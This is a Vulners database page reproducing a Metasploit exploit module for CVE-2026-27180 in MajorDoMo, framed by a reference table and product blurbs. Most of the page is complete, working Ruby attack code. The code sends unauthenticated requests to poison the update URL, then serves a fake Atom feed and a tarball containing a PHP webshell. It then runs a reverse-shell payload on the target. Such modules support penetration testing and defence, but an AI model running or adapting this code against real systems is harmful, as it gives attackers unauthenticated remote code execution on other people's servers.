| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2026-27180 | 18 Feb 202621:10 | โ | attackerkb | |
| Exploit for CVE-2026-27180 | 19 Feb 202616:10 | โ | githubexploit | |
| CVE-2026-27180 | 18 Feb 202621:30 | โ | circl | |
| MajorDoMo ๅฎๅ จๆผๆด | 18 Feb 202600:00 | โ | cnnvd | |
| CVE-2026-27180 | 18 Feb 202621:10 | โ | cve | |
| CVE-2026-27180 MajorDoMo Supply Chain Remote Code Execution via Update URL Poisoning | 18 Feb 202621:10 | โ | cvelist | |
| MajorDoMo Supply Chain RCE via Update Poisoning | 2 Mar 202618:58 | โ | metasploit | |
| CVE-2026-27180 | 18 Feb 202622:16 | โ | nvd | |
| PT-2026-20516 | 18 Feb 202600:00 | โ | ptsecurity | |
| CVE-2026-27180 | 20 Feb 202601:22 | โ | redhatcve |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rubygems/package'
require 'zlib'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MajorDoMo Supply Chain RCE via Update Poisoning',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability in
MajorDoMo's saverestore module via supply chain poisoning. The saverestore module's
admin() method is reachable without authentication through the /objects/?module=saverestore
endpoint because usual() calls admin() directly and uses gr() (which reads from $_REQUEST)
instead of $this->mode for mode checks.
Two unauthenticated GET requests chain together for full RCE:
1. auto_update_settings - poisons the MASTER_UPDATE_URL to point to an attacker-controlled server
2. force_update - triggers autoUpdateSystem() which fetches an Atom feed and tarball from the
poisoned URL, extracts the tarball, and copies all files to the webroot via copyTree()
The tarball is downloaded via curl with CURLOPT_SSL_VERIFYPEER set to FALSE and no integrity
check. The attacker serves a fake Atom feed with an entry older than the configured delay
(default 1 day) and a tarball containing a PHP webshell. After deployment, the module
executes the payload through the webshell.
All versions of MajorDoMo up to and including the latest release are affected.
The fix is tracked in PR sergejey/majordomo#1177.
},
'Author' => [
'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-27180'],
['URL', 'https://chocapikk.com/posts/2026/majordomo-revisited/'],
['URL', 'https://github.com/sergejey/majordomo/pull/1177']
],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2026-02-18',
'DefaultOptions' => {
'RPORT' => 80
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to MajorDoMo', '/']),
OptInt.new('UPDATE_TIMEOUT', [true, 'Seconds to wait for MajorDoMo to fetch the update', 30])
])
deregister_options('SRVURI')
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'objects', ''),
'method' => 'GET',
'vars_get' => { 'module' => 'saverestore' }
)
return CheckCode::Unknown('Failed to connect to the target.') unless res
unless res.body.to_s.include?('MajorDoMo') || res.code == 200
return CheckCode::Safe('Target does not appear to be MajorDoMo')
end
marker = Rex::Text.rand_text_alphanumeric(8)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin.php'),
'method' => 'GET',
'vars_get' => {
'ajax_panel' => '1',
'op' => 'console',
'command' => "echo '#{marker}';"
}
)
if res&.body.to_s.include?(marker)
return CheckCode::Vulnerable('Console eval is accessible without authentication (saverestore module also reachable)')
end
CheckCode::Detected('MajorDoMo detected but could not confirm unauthenticated access')
end
def build_atom_feed
commit_id = Rex::Text.rand_text_hex(40)
# Entry must be older than the configured delay (default 1 day)
old_date = (Time.now.utc - (3 * 86400)).strftime('%Y-%m-%dT%H:%M:%SZ')
<<~ATOM
<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>MajorDoMo</title>
<entry>
<id>tag:github.com,2008:Grit::Commit/#{commit_id}</id>
<updated>#{old_date}</updated>
<title>Update</title>
</entry>
</feed>
ATOM
end
def build_tarball(shell_name, php_code)
tar_io = StringIO.new
tar_io.set_encoding('ASCII-8BIT')
Gem::Package::TarWriter.new(tar_io) do |tar|
tar.mkdir('majordomo-master', 0o755)
tar.add_file_simple("majordomo-master/#{shell_name}", 0o644, php_code.bytesize) do |io|
io.write(php_code)
end
end
gz_io = StringIO.new
gz_io.set_encoding('ASCII-8BIT')
gz = Zlib::GzipWriter.new(gz_io)
gz.write(tar_io.string)
gz.close
gz_io.string
end
def poison_update_url(url)
vprint_status("Poisoning update URL to: #{url}")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'objects', ''),
'method' => 'GET',
'vars_get' => {
'module' => 'saverestore',
'mode' => 'auto_update_settings',
'set_update_url' => url
}
)
end
def trigger_update
vprint_status('Triggering force_update...')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'objects', ''),
'method' => 'GET',
'vars_get' => {
'module' => 'saverestore',
'mode' => 'force_update'
}
)
end
def execute_webshell(shell_name)
vprint_status("Executing payload via webshell: #{shell_name}")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, shell_name),
'method' => 'GET'
)
end
def exploit
shell_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
php_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
php_code = "<?php #{php_payload} ?>"
atom_feed = build_atom_feed
tarball = build_tarball(shell_name, php_code)
feed_served = false
tarball_served = false
# Start HTTP server to serve the Atom feed and tarball
# MajorDoMo transforms /archive/master.tar.gz to /commits/master.atom for the feed
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
path = req.uri
vprint_status("Received request: #{path}")
if path.include?('.atom')
print_status('Serving fake Atom feed...')
send_response(cli, atom_feed, { 'Content-Type' => 'application/atom+xml' })
feed_served = true
elsif path.include?('.tar.gz')
print_status("Serving malicious tarball (#{tarball.length} bytes)...")
send_response(cli, tarball, { 'Content-Type' => 'application/gzip' })
tarball_served = true
else
send_not_found(cli)
end
end,
'Path' => '/'
},
'SSL' => false
})
srv_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/archive/master.tar.gz"
poison_update_url(srv_url)
trigger_update
# Wait for MajorDoMo to fetch the feed and tarball
timeout = datastore['UPDATE_TIMEOUT']
print_status("Waiting up to #{timeout}s for MajorDoMo to fetch the update...")
timeout.times do
break if feed_served && tarball_served
Rex.sleep(1)
end
unless feed_served && tarball_served
fail_with(Failure::TimeoutExpired, 'MajorDoMo did not fetch the update in time. Ensure SRVHOST is reachable from the target.')
end
# Give MajorDoMo time to extract and deploy
print_status('Update fetched, waiting for deployment...')
Rex.sleep(3)
register_file_for_cleanup(shell_name)
execute_webshell(shell_name)
end
endData
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation